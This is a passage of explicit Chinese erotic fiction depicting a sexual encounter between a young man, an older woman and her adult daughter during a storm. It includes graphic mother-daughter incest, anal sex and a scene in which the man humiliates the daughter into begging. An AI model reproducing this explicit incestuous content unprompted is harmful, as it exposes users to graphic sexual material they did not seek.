大巧在下面正裹弄得认真,俩人窃窃私语了半天她竟是一句也没有听进,依旧捏了那东西津津有味地品着。忽然觉着娘一阵风般窜上了架子,吉庆也蠢蠢欲动的模样儿,知道这是要弄了。可心里却是一阵子焦急,到怨了吉庆放着小的不管却先顾了老的,便装作不知,依旧鼓了嘴把那玩意往里埋得更深。吉庆往巧姨身边挪,大巧便跟着往那边蹭,像是拖了个油瓶。

巧姨抬起半截身子,见大巧仍是不撒嘴,明白闺女的心思,欠身子过去,小声地央告了:“巧儿……妈先弄,你忒紧了,庆儿受不了,妈松,庆儿还能忍。”

吉庆心里暗笑,笑巧姨急惶惶的倒还能想出个这样的借口。可话说回来,巧姨说得也在理。那大巧的那条肉洞还真是紧紧实实,回回弄进去便把他箍得透不过气来,像是被一张肉呼呼的热手紧紧地攥住了。那巧姨的也的确差上一些,虽说不至于松松垮垮的,和大巧儿一比却真有些没着没落的感觉。好在弄的时候巧姨着实的骚浪,癫狂的像个入了网的鲶鱼,倒把下面的不足遮了个严严实实。

大巧还是有些不情不愿,但也无可奈何,只好不舍地松了吉庆。吉庆却也有些不忍,拖了大巧一起过来,把大巧安抚在巧姨身边。

巧姨一把将闺女拢了过来,大巧也就势躺在了娘的身边,把个头慵懒地伏在娘的胸前,眯着个眼却还是瞄着吉庆。

吉庆却再顾不得大巧了,见巧姨早就擗着大腿候在了那里,忙拧身向前,端了家伙儿什就往里捅。这一下有些不管不顾,直接没进了根儿,捅的巧姨吸了口凉气,就像冷不丁吃了个酸杏儿,虽说有些孟浪咂么咂么嘴却透着那么痛快。等吉庆囫囵着杵到了底,这才“哦”地一声轻唤,忍不住把怀里的大巧箍了个紧紧实实。

大巧儿一下子被娘箍得喘不过气来,下意识地挣扎了一下:“娘,咋了?”

“舒坦……舒坦啊……”巧姨悠悠荡荡地呻吟了一句,大巧儿不由得轻笑:“娘倒是舒坦了,把我弄得生疼……”

巧姨看闺女笑得小脸一抹的绯红,忍不住更紧地抱了大巧,一手却托了自己的奶子,正对上大巧碾压在那里的一对浑圆的乳,一大一小两个奶头立马像是连秧的一对樱桃,头对头顶在了一块儿。巧姨却还揉搓着,那奶头颤微微地抖动,把个大巧弄得立时一阵一阵地越发的热乎。

吉庆也看得兴起,鼓动着大巧:“巧儿,去亲……去亲你娘……”

大巧竟有些羞涩,缩着头往回褪,又被巧姨死死地锁住,那巧姨更是把丰腴的奶子贴了大巧儿,枣一样的奶头哆嗦着放置在大巧的嘴边。

大巧儿被鼓动的有些忘形,好在也不是第一次,索性一闭眼伸了舌尖便舔了上去。刚一挨着,巧姨浑身便一紧,“哦”了一声儿,身子立马拱出了一道湾。大巧见娘的反应如此敏感,更是上火,另只手也摩挲了上去,一把抓住娘的另一个奶子,轻轻柔柔地搓了起来,嘴张得更大,舌尖卷着便把个硬实实的奶头噙了进去,像是含了个糖豆儿,在里面囫囵地扫弄舔吸。

小两口即分工又合作,一个注重上面,另一个砸夯似的不停地抱了巧姨的大腿没了命地插着,那巧姨活脱脱地变成了个玩意儿,身子立马软成了稀泥,扭曲颤抖着“啊啊”地叫了开来。

窗外地雨仍瓢泼似地倾倒着,轰隆隆地雷声夹杂着呼啸的劲风此起彼伏,那巧姨荡气回肠的哼叫近在咫尺虽有些声嘶力竭,但在这狂风暴雨中竟变得如此的微弱。

“玩死了……娘被你两个玩死了……”兴许是叫得累了,巧姨终于粗喘着长长缓了口气,睁开眼睛,迷迷糊糊地瞄向两人。

大巧儿仍在娘的胸前鼓悠着,把娘两个奶子捏在手里挤压揉搓,粉红的舌头不时地吐出吐进,吸吸这个又舔舔那个。立在下边的吉庆,却还扛着巧姨浑圆雪白的两条大腿,耸着个身子不停地把自己的东西送进去又褪出来,每一次都用了最后的力气,顶得巧姨像是个被浪花推送的一条小船,荡荡泱泱地上下悠动。

“使劲,使劲。”巧姨却还嫌不够,涨红着脸吼着,大巧却被下面迭迭的“啪啪”声弄得更是难耐,两条修长白皙的腿早就绞成了麻花,大腿根紧紧地夹着,兀自微微地颤抖个不停。手底下也越发的疯狂,把娘的两个奶子揉搓地几乎变了形状,一张热乎乎的小嘴更是凑在娘的口边,伸了舌头没命地添。

“上来,巧儿,上来。”巧姨招呼着大巧儿,抓了她往自己身上拉。大巧儿忙不迭地起来,蹁了腿便跨了上去,像骑了一头骡子,那鞍桥却正好在娘的脸上。

巧姨一把捧住,手指捻了大巧儿密匝匝地毛往两边一分,大巧儿粉红湿润地肉缝便刷地敞开,那里面折折皱皱却晶莹潮热,像是刚出锅的一盅粉羹热气扑鼻。

巧姨心里忍不住地一阵子荡漾,她不知道自己个这是咋了,竟也对个女人的物件变得这般的垂涎,这一处清新鲜活得像是刚刚成熟的雏蚌粉嫩诱人,让她不由自主地凑了上去,像是个饿极了的鱼鹰子,风卷残云般舔吸了起来。

大巧儿就像是被一道闪电击中了,“啊”地叫了一声儿,整个身子直挺挺地绷紧,把个头高高地扬了,一边哼哼地叫着一边却忍不住地呼哧呼哧喘着粗气。

巧姨见闺女僵在那里,更是鼓舞,舌头伸得老长,舔了外面却还要探进去扫弄。大巧儿越发地不行,僵持地身子陡然萎靡下来,微微地哆嗦着,用纤细的胳膊努力地支撑住。

“咋样?舒服么?”吉庆看不到大巧的表情,抻了头问。

巧姨怕他分心,鼓悠着自己抽空儿地催:“别停……紧着……”吉庆忙又开始往上耸,却越来越觉得巧姨那地界儿松松垮垮地挨不着个边儿。

吉庆去拨弄大巧儿,大巧儿回头眯着眼看了他,吉庆招呼着:“躺下,躺下。”

巧姨还没尽兴,见吉庆让大巧儿躺下,以为这就要换人了,忙哀求地瞅了他,两条高高扬在那里的大腿紧着弯下来,勾着吉庆锁了个严严实实。

吉庆见巧姨这幅样子,心里暗笑,却扶着大巧下来,一只手去拽巧姨。巧姨却像是个耍赖的黄狗,扭捏在下面就是不挪,嘴里嗫嚅着央告:“再来会儿,再来会儿……”

“不是,姨,我想弄后面……”吉庆嘿嘿地咧嘴。

巧姨一听,立时畅快地应了一声,一骨碌爬了起来,麻利地下了架子,把个滚圆肥硕的屁股翘在了吉庆跟前儿,扭头瞅着吉庆:“沾点水儿,屁眼儿涩呢……”

吉庆点头,端了自己的物件,在巧姨溢满了白沫的肉缝儿蹭了几下,又扶着抹在了密匝匝地腚眼儿。来来回回几下,那地方已然湿乎乎滑腻腻的晶莹透亮。

巧姨见准备停当,忙弓着背把个屁股撅得高高,两只手背过来,扒着自己的屁股蛋,扭脸眼巴巴地望着吉庆:“进来啊,进来……”

吉庆答应一声,捏了硬邦邦的家伙,就像是攥了根扎抢,对准了那一蓬菊花,扭捏着便挤了进去。巧姨“噢”地一嗓子,被吉庆拱着便瘫在了那里,两条腿嗦嗦发抖,要不是手疾眼快地扶住了大巧的腿,那脑袋已然撞上了硬邦邦地架子。

吉庆稳住身子,问:“咋啦,疼么?”

巧姨呼哧呼哧喘着粗气,气急败坏地扭头:“疼啥?别停啊,紧着!”说完,塌了软软的腰把个屁股翘的更高。吉庆再也没有顾忌,双手扶着巧姨肥白的屁股,啪啪地大开大合。没几下,那巧姨便悠悠荡荡地哼得欢畅,脑袋低垂,披散的乱发随着身子的耸动左摇右荡。

大巧看得更是心焦,躺在那里便如躺在了饼铛上,又像是钻进了一窝蚂蚁,从骨头缝里透着一股子瘙痒。两条腿情不自禁地张开,自己的手便探了下去,扪住自己的下身,似乎是想把下面那好似决堤的水库般的地界儿堵上。可当那里被手掌盖上,却又更加燥热,只好曲了手指捻起来搓起来,就像是拿了铜钱儿刮痧,身子里的那些火啊便可以这样的被驱散了。

可偏偏事与愿违,手指头捻动得越快,可身子里的火却像是被浇了菜油般竟越烧越旺,把个可怜的大巧儿弄得几乎要疯了,睁眼去看下面,那娘俩儿个却快活的像是刚刚被松了辕的马驹子,撒着欢儿蹽着蹦儿地缠在一起,一个捅得尽兴一个叫得畅快。

大巧儿着实有些眼热,又不好硬上去扯了他们,见娘低垂的头在自己的股间游弋,忙叉开腿把下身踮起,手却去找娘的头,两下里在一起凑着,嘴里含含糊糊地哼起来:“娘……痒呢,舔舔……舔舔……”

巧姨迷乱之中被大巧抓住了头发,身不由己的便俯下了身子,伸了舌头像个饿极了的母狗,吧嗒吧嗒地舔了个尽兴。那大巧儿便再也忍不住,“啊啊”地叫得越发疯狂。

巧姨的呻吟悠扬高亢,大巧的叫声痴狂廻转,母女两个此起彼伏竟像是吟唱着一支浪情儿的船调儿,和着窗外的风声雨声,把个小小的柴屋竟衬得春意盎然,恨不得墙角旮旯都洋溢着一股子淫靡。

那吉庆被这种气氛感染的也更加沸腾,没了命的耸着推着,一连串的抽送把个巧姨的腚眼弄得恨不得翻了出来。那一瞬间,巧姨涨红着脸几乎再也喊不出来,脖子上满是青筋,一口气就憋在了那里,大张着口就那么僵着杵着,好半天,才终于缓过气来,随后,身子便轰然倒塌,软软地趴在了大巧儿的股间,急促地喘得上气不接下气。

巧姨这是泄了,吉庆看在眼里不由得心里却一阵子得意。这巧姨终于被他给收拾了,对吉庆来说,这意义却非常了。以往总是自己不盯劲呢,巧姨正快活地哼着,自己个就被她骚劲十足的样子给弄得丢盔卸甲,好几次巧姨还在嬉笑着他“欠练”。可现在,自己还在龙精虎猛,而最先丢盔卸甲的却是巧姨了。这感觉,着实让吉庆有了一种高高在上的优越。就像是一个车把式,挥着鞭子志得意满地坐在大车上吆喝着牲口。

吉庆啪地一下,掴在了巧姨的屁股蛋儿上:“咋了?不行了?”

巧姨犹自气喘着,闭着个眼睛努力地调息,过了一会儿,这才长长地哼了一声儿,似乎那刚才飘走了的魂儿终于又附了体:“死了,死了,你个坏小子要把你姨干死了……”吉庆嘿嘿地笑,挺着家伙意犹未尽地又来回地抽动了几下,弄得巧姨“哎呦哎呦”地直哼哼,回着手往身后推着吉庆:“不中了,歇会儿歇会儿……”一抬眼皮,见大巧儿仍辗转地在那里煎熬,忙抽身,小心奕奕地把自己的腚眼儿从吉庆身上松下来,像个撒了气的皮球,“噗通”一下,跪在了一旁,有气无力地指着大巧儿。

大巧儿这时候也微睁着毛眼,迷离地瞅着吉庆,一脸的饥渴焦躁。

吉庆捏着湿淋淋地物件儿,夹在指间依旧是一副张牙舞爪狰狞的模样儿。大巧儿一眼看见却是无比的悸动,不由得把两条白皙修长的腿擗了个宽敞,痴痴地迎着,上身也下意识地探了起来,晕晕乎乎地候着,嘴里喃喃地自语:“快,快点儿……”

吉庆裤子褪在了脚腕子,层层叠叠地堆在那里,手里扶着家伙蹒跚地挪了几步凑到了大巧儿身边。那大巧儿就像是抓到了救命的稻草,一把便把吉庆紧紧地攥到了手里,抓着胳膊再不放手。

“快点干啥啊?”吉庆坏笑着,却把自己的东西在大巧儿滑腻的私处蹭了几下,弄得大巧儿又是一阵哆哆嗦嗦,咬着牙狠狠地捏了吉庆一把:“你说呢?!快点!”

吉庆嘿嘿地笑,瞟了一眼趴在一边惊魂未定的巧姨。那巧姨仍自气喘吁吁的,见吉庆看着自己,心里却也为大巧着了急,忍不住搡了他一把。

吉庆其实也急,但他似乎更愿意瞅着大巧儿那一副急惶惶的样子。见平日里高傲的大巧儿,现下里竟变成了一个被欲火煎熬着的饥渴神态,吉庆打心眼里感到一种刺激和兴奋。活脱脱把一个端庄的大闺女变成了个破鞋,那份刺激,不是亲身感受还真不知道其中的妙处。

想到这里,吉庆坏水又冒,咧着嘴冲大巧说:“求我!”说完,又把那东西在大巧下身蹭。

大巧儿一阵子气苦,恨不得窜起来活吞了吉庆。但身子却着实的无力,就像是一块裂了无数口子的旱田,好不容易盼来了瓢泼的雨,哪里还舍得再让它收回去?

大巧儿嗫嚅着,手却把吉庆的胳膊攥得更紧:“求……求你了……”

“求我干啥?”吉庆一副得理不饶人的小人嘴脸。

大巧儿脸涨得通红,一半是急得一半却也是臊得。虽然这也不是第一回和吉庆弄了,也不是第一回让吉庆睡了自己娘俩儿个。但那都是水到渠成,三个人都在那兴头上,胡天黑地的也顾不了那么多,老母猪滚在了坟堆里,谁也别嫌谁臭。可眼下却是消消停停的了,刚才仨人腻腻歪歪的已经告一段落,娘得了好处在一边看着热闹,这吉庆得了便宜还洋洋得意,就剩了自己在这里干靠着。

大巧那感觉,就好像是个刚出了科班的戏子,本身还是个懵懂的雏,大拨轰着滥竽充数的还不显眼,这冷不丁戏台上就瞅了自己,竟是一时的晕了。

“快点啊,求我干啥啊?”吉庆见大巧儿迟迟疑疑,也有些难耐,忍不住去催,话音未落,却觉得自己屁股蛋子一阵子生疼,扭脸看去,却是巧姨嗔怪着拧了一下。

巧姨知道闺女是害臊了,明白自己要是在一边总是看眼,这大巧儿便总也过不去这槛。好在娘俩个都一块儿分了男人,自己这当娘的也早没了脸面,这时候如果不加把火,往后在一块堆儿滚的日子难免有些拘谨。

拧完了吉庆,巧姨扭着身子又爬了上去,歪在大巧儿身边,一手拢了大巧儿的头,一手便又摸上了大巧儿的奶子,撒着欢儿地捏了一把,努着嘴“叭”地在大巧儿脸上一亲,格格笑着戏谑地说:“闺女,求就求,也少不了一块肉不是?反正卖力气的是他,让驴拉磨,还得喂一把豆子呢。”

“啪”地一下,吉庆憨粗的家伙什儿在大巧儿嫩滑的下身重重地甩了一把,把大巧儿弄得又是一颤,浑身哆哆嗦嗦,心里那股子邪火却越烧越旺,鼓噪的她浑身上下无比的焦灼。大巧儿忍不住往娘的怀里鼓悠了一下,娘丰满柔软的奶子倒掉在眼前,颤颤巍巍地晃晃悠悠,晃得她眼迷心跳。

巧姨却拱着身子摇了闺女一下:“巧儿,求他,求他啊……求他来操你……”

大巧儿终于咬了牙,紧紧闭上眼睛,从牙缝里慢慢地挤出了几个字:“求你……操我!”

吉庆竟还是不依不饶,甩着个玩意儿,“啪啪”地抽打着:“操啥,说!操啥!”

“操屄!操我的屄!”大巧儿索性豁了出去。巧姨伏在那里听着,竟没来由的也是气喘,忍不住喷着粗气趴在大巧儿耳边,一句句地教着闺女说一些疯话。

大巧儿就像个照本宣科的匣子,娘悄悄地教一句,她便强挣着说一句,却越说越是顺畅,越说也越发的来了兴趣,把个吉庆听得“嗷嗷”叫着便一股脑灌了进去,捅得大巧儿身子一紧,叫得更加欢畅淋漓。

外面的雨在慢慢的稀疏,风却未减,拍打着门窗“啪啪”作响。屋里的娘儿三个白花花的身子又堆挤在了一处,像是被风吹了,摇摇曳曳此起彼伏。